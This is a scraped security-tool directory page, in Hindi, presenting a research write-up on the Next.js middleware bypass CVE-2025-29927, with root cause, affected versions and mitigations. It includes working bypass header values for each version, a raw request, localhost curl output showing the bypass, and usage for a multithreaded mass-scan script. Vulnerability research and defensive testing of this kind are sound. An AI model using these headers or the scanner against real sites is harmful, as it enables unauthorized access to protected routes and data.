Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-29927 | Kitploit
उपकरण/GitHubGitHub/iteride/cve-2025-29927
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षा
GitHubiteride/cve-2025-29927

CVE-2025-29927

रिपॉजिटरी देखें
111 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-29927

परिचय

यह दस्तावेज़ Next.js फ्रेमवर्क में Middleware तंत्र को प्रभावित करने वाली भेद्यता CVE-2025-29927 के अध्ययन को प्रस्तुत करता है।
Next.js, Vercel द्वारा React-आधारित एप्लिकेशन विकसित करने के लिए एक लोकप्रिय ओपन-सोर्स फ्रेमवर्क है। यह सर्वर-साइड रेंडरिंग, स्टैटिक जनरेशन और रूटिंग, रीडायरेक्ट, सुरक्षा हेडर और एक्सेस अधिकार जाँच के लिए उपयोग किए जाने वाले मिडलवेयर (middleware) की एक लचीली प्रणाली का समर्थन करता है।

मार्च 2025 में, एक गंभीर भेद्यता CVE-2025-29927 की पहचान की गई, जो आंतरिक उप-अनुरोधों के सेवा हेडर के प्रसंस्करण से संबंधित है।
समस्या का सार—HTTP हेडर x-middleware-subrequest में एक विशेष मान डालकर, उन एप्लिकेशनों में प्राधिकरण जाँच को बायपास करने की संभावना है, जहाँ एक्सेस नियंत्रण केवल मिडलवेयर में लागू किया गया है। यदि सुरक्षा केवल मिडलवेयर पर निर्भर है, तो हमलावर संरक्षित रूट या डेटा तक पहुँच प्राप्त कर सकता है।

प्रभावित Next.js संस्करण और सुधार (सार्वजनिक स्रोतों और आधिकारिक सामग्रियों के अनुसार):

  • 11.1.4 ≤ संस्करण < 12.3.5
  • 13.0.0 ≤ संस्करण < 13.5.9
  • 14.0.0 ≤ संस्करण < 14.2.25
  • 15.0.0 ≤ संस्करण < 15.2.3

सुधार रिलीज़ 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 में उपलब्ध हैं।

Next.js का व्यापक रूप से प्रोडक्शन में उपयोग किया जाता है; मिडलवेयर स्तर (अक्सर प्रमाणीकरण/प्राधिकरण और सुरक्षा नीति के लिए उपयोग किया जाता है) को प्रभावित करने वाली भेद्यता उच्च व्यावहारिक जोखिम उत्पन्न करती है।


रिपोर्ट का उद्देश्य

चरण-दर-चरण भेद्यता का विश्लेषण करना और अनुसंधान का पूरा चक्र तैयार करना:

सामग्री का संग्रह और संरचना।
CVE-2025-29927 पर सार्वजनिक स्रोतों को व्यवस्थित करना; दोष का सार, ट्रिगर स्थितियाँ और पुष्टि किए गए संस्करण/पैच प्रस्तुत करना।

CPE और कॉन्फ़िगरेशन शर्तों का निर्धारण।
CPE/संस्करणों की सूची प्रदान करना और उन कॉन्फ़िगरेशनों का वर्णन करना जिनमें भेद्यता दोहराई जाती है (उदाहरण के लिए, self-hosted डिप्लॉय और मिडलवेयर स्तर पर प्राधिकरण)।

सुरक्षित प्रदर्शन।
एक परीक्षण वातावरण (बिना विनाशकारी कार्यों के) पर एक दोहराने योग्य डेमो तैयार करना, जो कमजोर संस्करणों में मिडलवेयर को बायपास करने के तथ्य की पुष्टि करता है।

बड़े पैमाने पर जाँच की विधियाँ।
तीन सुरक्षित दृष्टिकोणों का वर्णन और कार्यान्वयन:

  • nuclei (प्रभाव को कम करने वाला सक्रिय मोड),
  • nuclei (संस्करणों/अप्रत्यक्ष संकेतों द्वारा निष्क्रिय मोड),
  • Python/Go में स्वयं की स्क्रिप्ट (परीक्षण होस्ट पर मल्टीथ्रेडेड सक्रिय जाँच)।

भेद्यता का सार

middleware

  • मूल कारण। Next.js में सेवा हेडर x-middleware-subrequest का उपयोग आंतरिक उप-अनुरोधों को ट्रैक करने और मिडलवेयर में पुनरावृत्ति को रोकने के लिए किया जाता है। कमजोर शाखाओं में, बाहरी क्लाइंट इस हेडर को "अपेक्षित" मान के साथ डाल सकते हैं—और रनटाइम मिडलवेयर के निष्पादन को छोड़ देता है, अनुरोध को सीधे रूट हैंडलर को अग्रेषित करता है।

  • हेडर की भूमिका। हेडर x-middleware-subrequest मूल रूप से एक आंतरिक संकेतक के रूप में डिज़ाइन किया गया था कि वर्तमान HTTP अनुरोध फ्रेमवर्क द्वारा एक मध्यवर्ती उप-अनुरोध के रूप में शुरू किया गया है, न कि सीधे उपयोगकर्ता द्वारा।
    यह Next.js के आंतरिक तंत्र के सही संचालन के लिए आवश्यक है: रूटिंग के अलावा, यह फ्लैग प्रत्येक कॉल किए गए मध्यवर्ती स्तर को "चिह्नित" करके अनंत पुनरावृत्ति से बचने में मदद करता है।
    लेकिन इसी तर्क ने अनजाने में सुरक्षा में एक छेद पैदा किया: क्लाइंट द्वारा स्वयं इस तरह के हेडर को जोड़ने पर, सिस्टम अपने अनुरोध को आंतरिक मान सकता है और इस प्रकार प्राधिकरण जाँच को दरकिनार कर सकता है।

  • तर्क का विकास।

    • पहले के संस्करणों में, हेडर को कोलन द्वारा अलग किए गए मानों की सूची के रूप में व्याख्यायित किया जाता है, और तंत्र इसकी तुलना सक्रिय मिडलवेयर के नाम/पथ से करता है।
    • नई शाखाओं में, गहराई काउंटर के रूप में अनंत पुनरावृत्ति के विरुद्ध सुरक्षा जोड़ी गई है; सीमा (डिफ़ॉल्ट रूप से 5) तक पहुँचने पर मिडलवेयर भी छोड़ दिया जाता है। इस तंत्र को धोखा दिया जा सकता है यदि हेडर इस तरह से बनाया गया हो जैसे कि उप-अनुरोधों की श्रृंखला पहले ही सीमा समाप्त कर चुकी हो।

प्रभाव

  • गोपनीयता और अखंडता। केवल मिडलवेयर स्तर पर एक्सेस नियंत्रण लागू होने पर संरक्षित पृष्ठों या API तक अनधिकृत पहुँच; संरक्षित एंडपॉइंट के माध्यम से डेटा में संभावित संशोधन।
  • उपलब्धता। कैश पॉइज़निंग जैसे दुष्प्रभाव कुछ कॉन्फ़िगरेशन में गलत कैशिंग और उपलब्धता की गिरावट का कारण बन सकते हैं।

CPE और कॉन्फ़िगरेशन शर्तें

आधिकारिक CPE (CPE 2.3)

NVD के वर्तमान रिकॉर्ड Vercel Next.js उत्पाद को लक्ष्य सॉफ़्टवेयर node.js के साथ इंगित करते हैं। कमजोर शाखाओं के लिए निम्नलिखित कॉन्फ़िगरेशन लागू होते हैं (संस्करण श्रेणियाँ NVD में CPE-कॉन्फ़िगरेशन स्तर पर निर्दिष्ट हैं):

CPE URIकमजोर संस्करण श्रेणी
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

टिप्पणी: CVE के विवरण में यह भी उल्लेख है कि सामान्यतः "11.1.4 से 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 तक" भेद्यता नीचे दी गई शर्तों के पूरा होने पर दोहराई जाती है।

प्रोडक्शन वातावरण में प्रासंगिकता की शर्तें

  • एक्सेस नियंत्रण (प्रमाणीकरण/प्राधिकरण) मिडलवेयर में लागू है और हैंडलर/बैकएंड में दोहराया नहीं गया है।
  • डिप्लॉय self-hosted है (जैसे, next start, output: 'standalone' के साथ बिल्ड) या कोई भी वातावरण जहाँ मिडलवेयर इनकमिंग अनुरोधों पर परिधि फ़िल्टरिंग के बिना निष्पादित होता है।
  • बाहरी साधन अनुपस्थित हैं जो x-middleware-subrequest वाले उपयोगकर्ता अनुरोधों को अस्वीकार करते हैं (जैसे, WAF नियम)।

x-middleware-subrequest का आंतरिक तंत्र

मिडलवेयर कोड की अनंत पुनरावृत्ति को रोकने के लिए, रनटाइम एक सेवा हेडर बनाता और पढ़ता है:

  1. हेडर के मान को कोलन : द्वारा अलग किए गए तत्वों वाली स्ट्रिंग के रूप में व्याख्यायित किया जाता है—"उप-अनुरोधों" की एक सरणी प्राप्त होती है।
  2. इसके बाद रनटाइम जाँच करता है:
    • क्या वर्तमान मिडलवेयर का नाम/पथ इस सरणी में मौजूद है (पुरानी शाखाओं में, यह NextResponse.next() के माध्यम से तुरंत छोड़ देता था),
    • या क्या पुनरावृत्ति की अधिकतम गहराई तक पहुँच गई है (नई शाखाओं में एक सीमा लागू होती है, डिफ़ॉल्ट रूप से 5), और तब मिडलवेयर भी छोड़ दिया जाता है।
  3. जालसाजी से बचाव के लिए, पैच में एक अलग उप-अनुरोध पहचानकर्ता (x-middleware-subrequest-id) जोड़ा गया है, जो वर्तमान प्रक्रिया सत्र से जुड़ा है; यदि यह मेल नहीं खाता है, तो इनकमिंग x-middleware-subrequest सर्वर साइड पर साफ़ कर दिया जाता है।

शोषण विधि

हमलावर लक्ष्य Next.js एप्लिकेशन पर एक HTTP अनुरोध भेजता है, जिसमें सेवा हेडर x-middleware-subrequest जोड़ा जाता है।
मान में मिडलवेयर फ़ाइल का पथ इंगित किया जाता है—उदाहरण के लिए pages/_middleware, middleware या src/middleware।
आवश्यक मान उपयोग किए गए Next.js संस्करण और प्रोजेक्ट संरचना पर निर्भर करता है।

जब ऐसा अनुरोध एप्लिकेशन तक पहुँचता है, तो फ्रेमवर्क का आंतरिक तर्क इसे आंतरिक उप-अनुरोध के रूप में मानता है और मान लेता है कि मध्यवर्ती स्तर पहले ही निष्पादित हो चुका है।
परिणामस्वरूप, प्रमाणीकरण और प्राधिकरण जाँच, जो सामान्यतः मिडलवेयर में होती हैं, वास्तव में छोड़ दी जाती हैं।


PoC / Exploit

महत्वपूर्ण: यह सामग्री केवल पैच की जाँच और बंद परीक्षण वातावरण में जोखिम मॉडलिंग के लिए दी गई है।
उत्पादन बुनियादी ढाँचे में कोई भी जाँच केवल संसाधन स्वामी की अनुमति से संभव है।

सामान्य सिद्धांत

Next.js आंतरिक उप-अनुरोधों को चिह्नित करने और मिडलवेयर के पुनरावर्ती प्रारंभ को रोकने के लिए सेवा हेडर x-middleware-subrequest का उपयोग करता है।
अनुरोध को संसाधित करते समय, हेडर का मान : वर्ण द्वारा विभाजित किया जाता है और वर्तमान मिडलवेयर के नाम से तुलना की जाती है।
नए संस्करणों में गहराई सीमा (MAX_RECURSION_DEPTH, सामान्यतः 5) जोड़ी गई है।
यदि शर्त (नाम का मिलान या सीमा तक पहुँचना) पूरी होती है, तो Next.js मिडलवेयर को छोड़ देता है और अनुरोध को आगे भेजता है।
हमलावर एक आंतरिक उप-अनुरोध का अनुकरण करते हुए हेडर का सही मान बना सकता है।

संस्करणों के अनुसार शोषण

1️⃣ 12.2 से पहले के संस्करण: Pages Router और _middleware.*

  • मिडलवेयर फ़ाइलों को _middleware.js/ts नाम दिया जाता था और वे pages/ निर्देशिका में स्थित होती थीं।
  • हेडर का मान फ़ाइल के पथ से मेल खाना चाहिए, उदाहरण के लिए: x-middleware-subrequest: pages/_middleware

2️⃣ 12.2 – 13.0.0 संस्करण: रूट middleware.*

  • संस्करण 12.2 से नाम में अंडरस्कोर हटा दिया गया: फ़ाइल middleware.js/ts बन गई।
  • यह प्रोजेक्ट की जड़ या /src निर्देशिका की जड़ में स्थित हो सकती है।
  • मिडलवेयर को बायपास करने के लिए हेडर का उपयोग करें: x-middleware-subrequest: middleware या x-middleware-subrequest: src/middleware

3️⃣ 13.x और नए संस्करण: पुनरावृत्ति गहराई सीमा

  • गहराई जाँच जोड़ी गई: हेडर का मान : से विभाजित होता है, और यदि मिडलवेयर नाम की पुनरावृत्ति की संख्या ≥ 5 है,
    Next.js पुनरावृत्ति की शर्त पूरी मानता है और NextResponse.next() के माध्यम से मिडलवेयर को छोड़ देता है।
  • हमले के लिए हेडर इस प्रकार बनाया जाता है: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware या x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Next.js 15.x में विशेषताएँ

15.x रिलीज़ में, डेवलपर्स ने अनंत पुनरावर्ती कॉल को रोकने के लिए तर्क को फिर से तैयार किया।
जब पथ में मिडलवेयर सक्रिय होता है (उदाहरण के लिए, /api/*), तो Next.js एक अलग URL प्राप्त करता है जो उसी मिडलवेयर को भी प्रारंभ करता है।
फ्रेमवर्क हेडर x-middleware-subrequest के माध्यम से सक्रियणों की संख्या गिनता है।
यदि कॉल की संख्या निर्धारित सीमा (MAX_RECURSION_DEPTH, डिफ़ॉल्ट रूप से 5) तक पहुँच जाती है, तो आगे के मिडलवेयर कॉल अवरुद्ध हो जाते हैं।
हमलावर इस व्यवहार का लाभ उठा सकता है, हेडर में आवश्यक पुनरावृत्तियों की संख्या के साथ मान पहले से निर्दिष्ट करके और इस प्रकार कृत्रिम रूप से गहराई सीमा तक पहुँच सकता है—परिणामस्वरूप मिडलवेयर पूरी तरह से छोड़ दिया जाता है।

अनुरोध का उदाहरण

पुरानी शाखाओं के लिए हेडर का मान ऊपर दिए गए विकल्पों के अनुसार चुनें

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

यह काम क्यों करता है

x-middleware-subrequest को अनंत पुनरावृत्ति से बचाव के लिए आंतरिक तंत्र के रूप में डिज़ाइन किया गया था।
लेकिन कमजोर संस्करणों में बाहरी अनुरोधों की फ़िल्टरिंग का अभाव था: क्लाइंट हेडर को जाली बना सकता है,
स्किप की शर्त (नाम का मिलान या गहराई सीमा तक पहुँचना) को पूरा कर सकता है
और सीधे संरक्षित रूट के हैंडलर तक पहुँच सकता है।

परीक्षण स्टैंड चलाना

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

परीक्षण:

(उदाहरण Next.js 15.2.2 पर आधारित है; अन्य शाखाओं के लिए हेडर का मान PoC अनुभाग में तालिका के अनुसार चुनें)

  1. मानक अनुरोध:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. x-middleware-subrequest हेडर वाला अनुरोध:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

सुरक्षा के लिए सिफारिशें

  • **Next.js को कम से कम संस्करणों 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 तक अपडेट करें।
  • यदि अपडेट में देरी हो रही है—तो WAF/प्रॉक्सी स्तर पर बाहरी हेडर x-middleware-subrequest को फ़िल्टर या अस्वीकार करें।
  • महत्वपूर्ण प्राधिकरण जाँचों को मिडलवेयर के अलावा API हैंडलर में भी दोहराएं।

परीक्षण के लिए Nuclei टेम्पलेट

  • यह टेम्पलेट Next.js एप्लिकेशनों की निष्क्रिय और सक्रिय जाँच को जोड़ता है।
  • यह Next.js के संकेतों और संभावित मिडलवेयर व्यवहार की पहचान करने के लिए हेडर और रीडायरेक्ट का निष्क्रिय विश्लेषण करता है।
  • यह विशेष रूप से तैयार किए गए हेडर X-Middleware-Subrequest का उपयोग करके मिडलवेयर बायपास का सक्रिय परीक्षण करता है।
  • यह कई पेलोड का उपयोग करता है, जिससे भेद्यता का पता लगाने की संभावना बढ़ जाती है—मानक परीक्षण स्थितियों में लगभग 60%।

nuclei

⚠️ ध्यान दें: टेम्पलेट केवल आपके स्वयं के या अधिकृत लक्ष्यों पर परीक्षण के लिए है। मालिकों की सहमति के बिना तृतीय-पक्ष सेवाओं पर उपयोग अवैध है।

बड़े पैमाने पर परीक्षण के लिए स्क्रिप्ट

  • स्क्रिप्ट मल्टीथ्रेडिंग का समर्थन करती है, जो बड़ी संख्या में सेवाओं और पथों को तेज़ी से स्कैन करने की अनुमति देती है।
  • यह फ़ाइलों के माध्यम से लक्ष्यों और पथों की सूची इनपुट करने का समर्थन करती है।
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
टूल डाउनलोड करें
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3